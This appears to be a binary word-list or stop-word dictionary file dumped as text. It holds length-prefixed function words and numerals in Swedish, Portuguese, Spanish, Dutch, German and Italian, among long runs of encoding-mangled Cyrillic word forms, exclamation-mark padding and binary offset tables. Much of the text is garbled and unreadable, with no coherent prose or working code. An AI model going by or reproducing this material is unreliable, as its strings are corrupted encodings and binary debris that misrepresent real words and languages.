"trettio0
,trettioandra0
,trettioandre0
&trettioen0
(trettioett0
(trettiofem0
,trettiofemte0
.trettiofjrde0
*trettiofyra0
.trettiofrsta0
.trettiofrste0
(trettionde0
(trettionio0
.trettionionde0
(trettiosex0
.trettiosjette0
(trettiosju0
.trettiosjunde0
(trettiotre0
.trettiotredje0
(trettiotv0
*trettiotta0
0trettiottonde0
"tretton0
&trettonde0
$tretusen0
to0
too(trettionde0
(trettionio0
.trettionionde0
(trettiosex0
.trettiosjette0
(tret|T&zR$xN ~R&d>zT$rD`:vN(l:
^8rtFpD XR6



j
J
.

zZ4nF 



v
V
4

				f	B		`<`<\8lL(lRZ8<fJ0`> tV: Bx`
UE0
treze0
&trezentas0
&trezentos0

,tricentsima0

.tricentsimas0

,tricentsimo0

.tricentsimos0
&trigsima0

&trigsima0
(trigsimas0

(trigsimas0
&trigsimo0

&trigsimo0
(trigsimos0

(trigsimos0
"trilho0
$trilhes!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!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>;550
"1>;LH0O0
 1>;LH50
"1>;LH850
"1>;LH8<0
$1>;LH8<80
"1>;LH8E0
$1>;LH>3>0
"1>;LH>50
"1>;LH>90
"1>;LH><0
$1>;LH><C0
"1>;LH>N0
"1>;LHCN0
1><0
1@020
"1@02H0O0
$1@02H53>0
"1@02H550
"1@02H590
"1@02H5<0
$1@02H5<C0
"1@02H5N0
 1@02H80
"1@02H850
"1@02H890
"1@02H8<0
$1@02H8<80
"1@02H8E0
"1@02HCN0
1@0;0
1@0;00
1@0;80
1@0;>0
1@0=0
1@0=00
"1@0==0O0
$1@0==>3>0
"1@0==>50
"1@0==>90
"1@0==><0
$1@0==><C0
"1@0==>N0
"1@0==CN0
"1@0==K50
"1@0==K90
"1@0==K<0
$1@0==K<80
"1@0==KE0
1@0=>0
1@0=K0
1@0BL0
1@@0
1@K:0
1@KAL0
1@O:0
1C450
1C45<0
1C45B0
 1C45B50
 1C45HL0
$1C4=8G=>0
1C4B>0
1C4C0
1C4CB0
 1C4CG80
"1C4CI0O0
$1C4CI53>0
"1C4CI550
"1C4CI590
"1C4CI5<0
$1C4CI5<C0
"1C4CI5N0
"1C4CI850
"1C4CI890
"1C4CI8<0
$1C4CI8<80
"1C4CI8E0
"1C4CICN0
1C4L0
 1C4LB50
&1C:20;L=>0
 1C;BKE0
&1C;L-1C;L0
1C;L:0
1C<0
1CE0
1K0
1K20
1K2020
$1K202H0O0
&1K202H53>0
$1K202H550
$1K202H590
$1K202H5<0
&1K202H5<C0
$1K202H5N0
"1K202H80
$1K202H850
$1K202H89!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!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
 obwohl0
 obzwar0
och0
och0

"ochenta0

&ochentena0

(ochentenas0

&ochenteno0

(ochentenos0

ocho0

*ochocientos0
"octante0
(octantime0

 octava0

"octavas0

 octavo0

"octavos0
0octingentsima0

0octingentsima0
2octingentsimas0

2octingentsimas0
0octingentsimo0

0octingentsimo0
2octingentsimos0

2octingentsimos0
(octogsima0

(octogsima0
*octogsimas0

*octogsimas0
(octogsimo0

(octogsimo0
*octogsimos0

*octogsimos0
od0
oder0
of0
of0
	of0
of0
of0
of0
	of0
$ofschoon0
ofte0
ofte0
ofwel0
og0
ogni0
.ogniqualvolta0
 ognuna0
 ognuno0
ogs0
oh0
oh0
oh0

oh0
oha0
ohe0
ohi0
ohib0
ohim0
ohne0
oho0
oh0
 oitava0
"oitavas0
 oitavo0
"oitavos0
"oitenta0
oito0
(oitocentas0
(oitocentos0
oj0
of0
o0
o0
o0
od0
og0
og0
o0
od0
o!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!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!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!hH&



z
`
F
,

pB&|d0L4



d
<

			p	>		zHd<^8d@t^H^tH2lH(
|bJ,rL(z`
U$*K0
(grandalho0
*grandalhes0
 grande0
 grande0
*grandemente0
"grandes0
"grandes0
0grandessssima0
2grandessssimas0
0grandessssimo0
2grandessssimos0
*grandssima0
,grandssimas0
*grandssimo0
,grandssimos0
grata0
"grattis0
 grazie0
 graas0
"grifweg0
.groepsgewijze0
(grotelijks0
*grotendeels0
grce0

gua0
guai0

guapa0

guapo0
gu0
g0
get0
gr0
gr0
gre0
h0
h0
h0
h0
h0
h0
h0
h0
h0
h0
h0
h0
	h0
h0
ha0
ha0
ha0
ha0
ha0

ha0
haar0
$haarzelf0
haast0
habe0

habed0
haben0
 habend0

haber0
 habest0
habet0

$habiendo0

$habremos0

habr0

 habrn0

 habrs0

habr0

"habris0

 habra0

$habrais0

&habramos0

"habran0

"habras0
habt0

 habis0

haba0

"habais0

$habamos0

 haban0

 habas0
hach0

hacia0
had0
had0
	had0
had0
had0
had0
	had0
hade0
haft0
haft0
hafts0
haha0
 hahaha0
hai0
haja0
 hajais0
hajam0
"hajamos0
hajas0

hala0
 halber0
$halfdoor0
$halfstok0
"halfweg0
&halleluja0
hallo0
hallo0
hallo0
halt0
halte0
,halverhoogte0
(halverwege0
(halverwind0
halvt0
ham0
han0
han0

han0
h0
gr0
h0
"halbuki0
halde0
$h!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!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!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!$
h<



`
<

~^B(z`F,




j
J
&

				f	@		|^:|^B$lT>(n>xbL6 TdF*rP0zN$`>`
sUzI0R0
"23;CECN0
$23>@OG0E0
"23CABCN0
$24>102>:0
"24>2>;L0
24>;L0
$24>AB0;L0
24@C30
2545<0
2545=0
 2545=00
$2545==0O0
&2545==>3>0
$2545==>50
$2545==>90
$2545==><0
&2545==><C0
$2545==>N0
$2545==CN0
$2545==K50
$2545==K90
$2545==K<0
&2545==K<80
$2545==KE0
 2545=>0
 2545=K0
2545B0
 2545B50
 2545HL0
25480
 2548B50
254><0
 254><00
254L0
254O0
257450
25;0
25;00
25;80
25;8:0
 25;8:00
"25;8:0O0
 25;8:80
"25;8:850
"25;8:890
"25;8:8<0
$25;8:8<80
"25;8:8E0
 25;8:>0
$25;8:>3>0
"25;8:>50
"25;8:>90
"25;8:><0
$25;8:><C0
"25;8:>N0
"25;8:CN0
25;>0
25@5=0
25@=00
 25@=0O0
 25@=550
25@=>0
"25@=>3>0
 25@=>50
 25@=>90
 25@=><0
"25@=><C0
 25@=>N0
 25@=CN0
25@=K0
 25@=K50
 25@=K90
 25@=K<0
"25@=K<80
 25@=KE0
$25@>OB5=0
$25@>OB=00
&25@>OB=0O0
&25@>OB=550
$25@>OB=>0
(25@>OB=>3>0
&25@>OB=>50
&25@>OB=>90
&25@>OB=><0
(25@>OB=><C0
&25@>OB=>N0
&25@>OB=CN0
$25@>OB=K0
&25@>OB=K50
&25@>OB=K90
&25@>OB=K<0
(25@>OB=K<80
&25@>OB=KE0
25@BL0
 25AB590
25AB80
25ABL0
 25ABLN0
 25ABO<0
"25ABO<80
 25ABOE0
25AL0
 25AL<00
 2840BL0
284520
$28452H0O0
&28452H53>0
$28452H550
$28452H590
$28452H5<0
&28452H5<C0
$28452H5N0
"28452H80
$28452H850
26!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!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4@C3>50
 4@C3>90
 4@C3><0
"4@C3><C0
 4@C3>N0
4@C3C0
 4@C3CN0
 4@C7590
 4@C7LO0
"4@C7LO<0
$4@C7LO<80
"4@C7LOE0
4@K30
4N650
5.0
53>0
54200
&5420-54200
$548=>64K0
550
565;80
590
"59-1>3C0
59-590
$59-65-590
5;50
"5;5-5;50
5;8:>0
5<C0
5A;80
*5AB5AB25==>0
5ABL0
5I50
"5I5-5I50
5N0
60
64020
"6402H0O0
$6402H53>0
"6402H550
"6402H590
"6402H5<0
$6402H5<C0
"6402H5N0
 6402H80
"6402H850
"6402H890
"6402H8<0
$6402H8<80
"6402H8E0
"6402HCN0
640;0
640;00
640;80
640;>0
640BL0
645<0
645B0
645B50
645HL0
6480
648B50
64C0
4>0
50
"4>!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!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!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!0j@


v
J

nBd6




`
>

				r	P	,		jJ*
d@hDhJ$fB~^<~Z<nV~bH.`
lUtIO~0
&>A>15==>50
&>A>15==>90
&>A>15==><0
(>A>15==><C0
&>A>15==>N0
&>A>15==CN0
$>A>15==K0
&>A>15==K50
&>A>15==K90
&>A>15==K<0
(>A>15==K<80
&>A>15==KE0
>A>1>0
">A>1>3>0
 >A>1>50
 >A>1>90
 >A>1><0
">A>1><C0
 >A>1>N0
 >A>1CN0
 >A>1K50
 >A>1K90
 >A>1K<0
">A>1K<80
 >A>1KE0
&>AB0;L=0O0
(>AB0;L=>3>0
&>AB0;L=>50
&>AB0;L=>90
&>AB0;L=><0
(>AB0;L=><C0
&>AB0;L=>N0
&>AB0;L=CN0
&>AB0;L=K50
&>AB0;L=K<0
(>AB0;L=K<80
&>AB0;L=KE0
>B0
>B4020
$>B402H0O0
&>B402H53>0
$>B402H550
$>B402H590
$>B402H5<0
&>B402H5<C0
$>B402H5N0
">B402H80
$>B402H850
$>B402H890
$>B402H8<0
&>B402H8<80
$>B402H8E0
$>B402HCN0
">B4048<0
$>B4048B50
">B404CB0
>B4090
">B409B50
>B40;0
 >B40;00
 >B40;80
 >B40;>0
>B40<0
>B40=0
 >B40=00
$>B40==0O0
&>B40==>3>0
$>B40==>50
$>B40==>90
$>B40==><0
&>B40==><C0
$>B40==>N0
$>B40==CN0
$>B40==K50
$>B40==K90
$>B40==K<0
&>B40==K<80
$>B40==KE0
 >B40=>0
 >B40=K0
 >B40AB0
 >B40BL0
 >B40HL0
$>B45;L=00
&>B45;L=0O0
$>B45;L=>0
(>B45;L=>3>0
&>B45;L=>50
&>B45;L=>90
&>B45;L=><0
(>B45;L=><C0
&>B45;L=>N0
&>B45;L=CN0
$>B45;L=K0
&>B45;L=K50
&>B45;L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!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!0jJ*


j
F
 
`8jJ*


t
P
,

			t	P	0		vT6`<d@\vN(hBlL,jH*jF `
tUrIƏ0
"B0:>2CN0
 B0:>2K0
"B0:>2K50
"B0:>2K<0
$B0:>2K<80
"B0:>2KE0
 B0:>3>0
B0:>50
B0:>90
B0:><0
 B0:><C0
B0:>N0
B0:CN0
B0<0
"B0<-B0<0
 B0<-B>0
B2>50
 B2>53>0
B2>590
B2>5<0
 B2>5<C0
B2>5N0
B2>80
B2>8<0
 B2>8<80
B2>8E0
B2>90
B2>N0
B2>O0
B50
B5150
B51O0
B5<0
"B5<5=5<0
 B5<5=80
B5<80
B5<O0
 B5?5@L0
B5E0
"B8:-B0:0
B>0
B>-B>0
B>1>90
B>1>N0
B>3400
$B>340-B>0
B>3>0
B>650
B>90
 B>;L:>0
&B>;L:>-B>0
.B>;L:>-B>;L:>0
B><0
B><00
B><0<0
 B><0<80
B><0E0
B><50
B><>20
B><><0
B><C0
"B>?-B>?0
B>B0
 B>BG0A0
B>G5=0
B>G=00
 B>G=0O0
 B>G=550
B>G=>0
*B>G=>-B>G=>0
"B>G=>3>0
 B>G=>50
 B>G=>90
 B>G=><0
"B>G=><C0
 B>G=>N0
 B>G=CN0
B>G=K0
 B>G=K50
 B>G=K90
 B>G=K<0
"B>G=K<80
 B>G=KE0
*B>GL-2-B>GL0
B>N0
B?@C0
&B@0-B0-B00
B@0E0
,B@0E-B0@0@0E0
$B@51>2020
*B@51>202H0O0
,B@51>202H53>0
*B@51>202H550
*B@51>202H590
*B@51>202H5<0
,B@51>202H5<C0
*B@51>202H5N0
(B@51>202H80
*B@51>202H850
*B@51>202H890
*B@51>202H8<0
,B@51>202H8<80
*B@51>202H8E0
*B@51>202HCN0
$B@51>20;0
&B@51>20;00
&B@51>20;80
&B@51>20;>0
$B@51>20=0
&B@51>20=00
*B@51>20==0O0
,B@51>20==>3>0
*B@51>20==>50
*B@51>20==>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N0
 C<5NG80
C@00
CD0
CE0
CE-BK0
D80
DC0
DC-BK0
DC90
DN9BL0
E00
E0-E00
E0?0
 E20B020
&E20B02H0O0
(E20B02H53>0
&E20B02H550
&E20B02H590
&E20B02H5<0
(E20B02H5<C0
&E20B02H5N0
$E20B02H80
&E20B02H850
&E20B02H890
&E20B02H8<0
(E20B02H8<80
&E20B02H8E0
&E20B02HCN0
"E20B05<0
$E20B05<00
&E20B05<0O0
$E20B05<>0
(E20B05<>3>0
&E20B05<>50
&E20B05<>90
&E20B05<><0
(E20B05<><C0
&E20B05<>N0
&E20B05<CN0
$E20B05<K0
&E20B05<K50
&E20B05<K90
&E20B05<K<0
(E20B05<K<80
&E20B05<KE0
"E20B05B0
$E20B05B50
$E20B05HL0
 E20B090
$E20B09B50
 E20B0;0
"E20B0;00
"E20B0;80
"E20B0;>0
 E20B0=0
"E20B0=00
&E20B0==0O0
(E20B0==>3>0
&E20B0==>50
&E20B0==>90
&E20B0==><0
(E20B0==><C0
&E20B0==>N0
&E20B0==CN0
&E20B0==K50
&E20B0==K90
&E20B0==K<0
(E20B0==K<80
&E20B0==KE0
"E20B0=>0
"E20B0=K0
"E20B0BL0
 E20B0N0
"E20B0NB0
&E20B0NI0O0
(E20B0NI53>0
&E20B0NI550
&E20B0NI590
&E20B0NI5<0
(E20B0NI5<C0
&E20B0NI5N0
&E20B0NI850
&E20B0NI890
&E20B0NI8<0
(E20B0NI8<80
&E20B0NI8E0
&E20B0NICN0
 E20B0O0
E5-E50
E8-E80
$E8-E8-E80
E;>?0
E;N?0
 E;OABL0
E<0
E=K0
E>-E>0
E>?0
E>@>H0
 E>@>H00
"E>@>H0O0
$E>@>H53>0
"E>@>H550
"E>@>H590
"E>@>H5<0
$E>@>H5<C0
"E>@>H5N0
 E>@>H80
"E>@>H85!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!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!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!<rV:



~
^
<

xX8jH2




t
R
0

				b	@		tT6dB"bB"jR8tX<^D,f@&rN.`
qURJ90
(ingenlunde0
 ingens0
(ingensinde0
(ingensteds0
&ingenting0
inget0
"ingeval0
&ingevolge0
 inicia0
&iniciadas0
"iniciai0
$iniciais0
"iniciam0
&iniciamos0
&iniciando0
"iniciar0
$iniciara0
&iniciaram0
&iniciaras0
(iniciardes0
&iniciarei0
(iniciareis0
&iniciarem0
*iniciaremos0
&iniciares0
&iniciaria0
(iniciariam0
(iniciarias0
(iniciarmos0
$iniciar0
&iniciars0
&iniciaro0
,iniciaramos0
*iniciareis0
"inicias0
&iniciasse0
(iniciassem0
(iniciasses0
&iniciaste0
(iniciastes0
$iniciava0
&iniciavam0
&iniciavas0
 inicie0
"iniciei0
$inicieis0
"iniciem0
&iniciemos0
"inicies0
 inicio0
"iniciou0
*iniciramos0
(inicireis0
*inicisseis0
,inicissemos0
*inicivamos0
(iniciveis0
"inifrn0
inkl0
inkl.0
inkl.0
&inklusive0
&inklusive0
&inmiddels0
$inmitten0
innan0
$innanfr0
&innerhalb0
inom0
$inplaats0
inp0
(insgelijks0
"insieme0
$insofern0
$insoweit0
,instantelijk0
inte0
*integendeel0
intet0
&intetdera0
(intetsteds0
"intijds0
 intill0
into0
into0
	into0
into0
into0
into0
	into0
$intussen0
"inunder0
inuti0
 invece0
invid0
&inwiefern0
&inwieweit0
 inzake0
,inzonderheid0
int0
io0
ir0
irdes0
irei0
ireis0
irem0
 iremos0
ires0
&irgendein0
!ini0
&ir0
'ir0
>ini!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!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!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!B&zbF



p
R
0

dH(pT(


z
V
:

				b	<			pDd>jF`6
rJ"^8~X2h^<`
jUJ0
"40;L=8E0
"40;L=NN0
 40;L=O0
"40;L=OO0
 40;LH50
40;LN0
40;O<0
 40;O<80
40;OE0
40<0
40=0
40=00
 40==0O0
"40==>3>0
 40==>50
 40==>90
 40==><0
"40==><C0
 40==>N0
 40==CN0
 40==K50
 40==K90
 40==K<0
"40==K<80
 40==KE0
40=>0
40=K0
40AB0
40BL0
40HL0
40N0
40NB0
 40NI0O0
"40NI53>0
 40NI550
 40NI590
 40NI5<0
"40NI5<C0
 40NI5N0
 40NI850
 40NI890
 40NI8<0
"40NI8<80
 40NI8E0
 40NICN0
4200
&4204F0B0O0
$4204F0B80
(4204F0B>3>0
&4204F0B>50
&4204F0B>90
&4204F0B><0
(4204F0B><C0
&4204F0B>N0
&4204F0BCN0
&4204F0BK50
&4204F0BK90
&4204F0BK<0
(4204F0BK<80
&4204F0BKE0
$4204F0BL0
&4204F0BLN0
42C<0
42C<O0
42CE0
(459AB2>2020
.459AB2>202H0O0
0459AB2>202H53>0
.459AB2>202H550
.459AB2>202H590
.459AB2>202H5<0
0459AB2>202H5<C0
.459AB2>202H5N0
,459AB2>202H80
.459AB2>202H850
.459AB2>202H890
.459AB2>202H8<0
0459AB2>202H8<80
.459AB2>202H8E0
.459AB2>202HCN0
(459AB2>20;0
*459AB2>20;00
*459AB2>20;80
*459AB2>20;>0
*459AB2>20BL0
&459AB2C5<0
&459AB2C5B0
(459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!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!`6
b6


b
<

|V0`2

x
J

			d	6		vZ4vP*jB|\<zX8vV4rR2bB$`
mUf JSS0
A84O0
A850
A880
A88<0
A88<80
A88E0
A8;5=0
 A8;L=00
"A8;L=0O0
"A8;L=550
 A8;L=>0
$A8;L=>3>0
"A8;L=>50
"A8;L=>90
"A8;L=><0
$A8;L=><C0
"A8;L=>N0
"A8;L=CN0
 A8;L=K0
"A8;L=K50
"A8;L=K90
"A8;L=K<0
$A8;L=K<80
"A8;L=KE0
A8<0
A8<80
 A8@5GL0
A8E0
A8N0
A8O0
 A:2>7L0
$A:>;5G:>0
A:>;L0
$A:>;L:0O0
$A:>;L:850
$A:>;L:890
$A:>;L:8<0
&A:>;L:8<80
$A:>;L:8E0
"A:>;L:>0
,A:>;L:>-;81>0
0A:>;L:>-=81C4L0
(A:>;L:>-B>0
&A:>;L:>3>0
$A:>;L:>50
$A:>;L:>90
$A:>;L:><0
&A:>;L:><C0
$A:>;L:>N0
$A:>;L:CN0
A:>@0
A:>@00
 A:>@0O0
 A:>@550
A:>@>0
"A:>@>3>0
 A:>@>50
 A:>@>90
 A:>@><0
"A:>@><C0
 A:>@>N0
 A:>@CN0
A:>@K0
 A:>@K50
 A:>@K90
 A:>@K<0
"A:>@K<80
 A:>@KE0
$A;54>2020
*A;54>202H0O0
,A;54>202H53>0
*A;54>202H550
*A;54>202H590
*A;54>202H5<0
,A;54>202H5<C0
*A;54>202H5N0
(A;54>202H80
*A;54>202H850
*A;54>202H890
*A;54>202H8<0
,A;54>202H8<80
*A;54>202H8E0
*A;54>202HCN0
$A;54>20;0
&A;54>20;00
&A;54>20;80
&A;54>20;>0
.A;54>20B5;L=>0
&A;54>20BL0
"A;54C5<0
"A;54C5B0
$A;54C5B50
$A;54C5HL0
 A;54C90
$A;54C9B50
 A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!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!@X2


v
V
2

`2rH


v
L
 
			v	L	(		hH(fF&~Z6hF"lN*
fD xV2fD$|`
sUX!cK20
:>90
":>9-3450
&:>9-70G5<0
":>9-:0:0
&:>9-:0:0O0
&:>9-:0:850
&:>9-:0:8<0
(:>9-:0:8<80
&:>9-:0:8E0
(:>9-:0:>3>0
&:>9-:0:>50
&:>9-:0:>90
&:>9-:0:><0
(:>9-:0:><C0
&:>9-:0:>N0
&:>9-:0:CN0
&:>9-:>3400
$:>9-:C400
(:>9->B:C400
(:>9->BG53>0
:>;80
:>;L0
:><0
:><00
:><50
:><><0
:><C0
 :><L520
:><LO0
 :><LO<0
":><LO<80
 :><LOE0
:>=5F0
":>=5G5=0
":>=5G=00
$:>=5G=0O0
":>=5G=>0
&:>=5G=>3>0
$:>=5G=>50
$:>=5G=>90
$:>=5G=><0
&:>=5G=><C0
$:>=5G=>N0
$:>=5G=CN0
":>=5G=K0
$:>=5G=K50
$:>=5G=K90
$:>=5G=K<0
&:>=5G=K<80
$:>=5G=KE0
:>=F00
 :>=F0<0
":>=F0<80
 :>=F0E0
:>=F50
 :>=F>20
 :>=F><0
:>=FC0
:>=FK0
":>B>@0O0
$:>B>@>3>0
":>B>@>50
":>B>@>90
":>B>@><0
$:>B>@><C0
":>B>@>N0
":>B>@CN0
":>B>@K50
":>B>@K90
":>B>@K<0
$:>B>@K<80
":>B>@KE0
:>N0
:>O0
:@0H50
:@><50
:@O4C0
:@O:0
 :AB0B80
:B>0
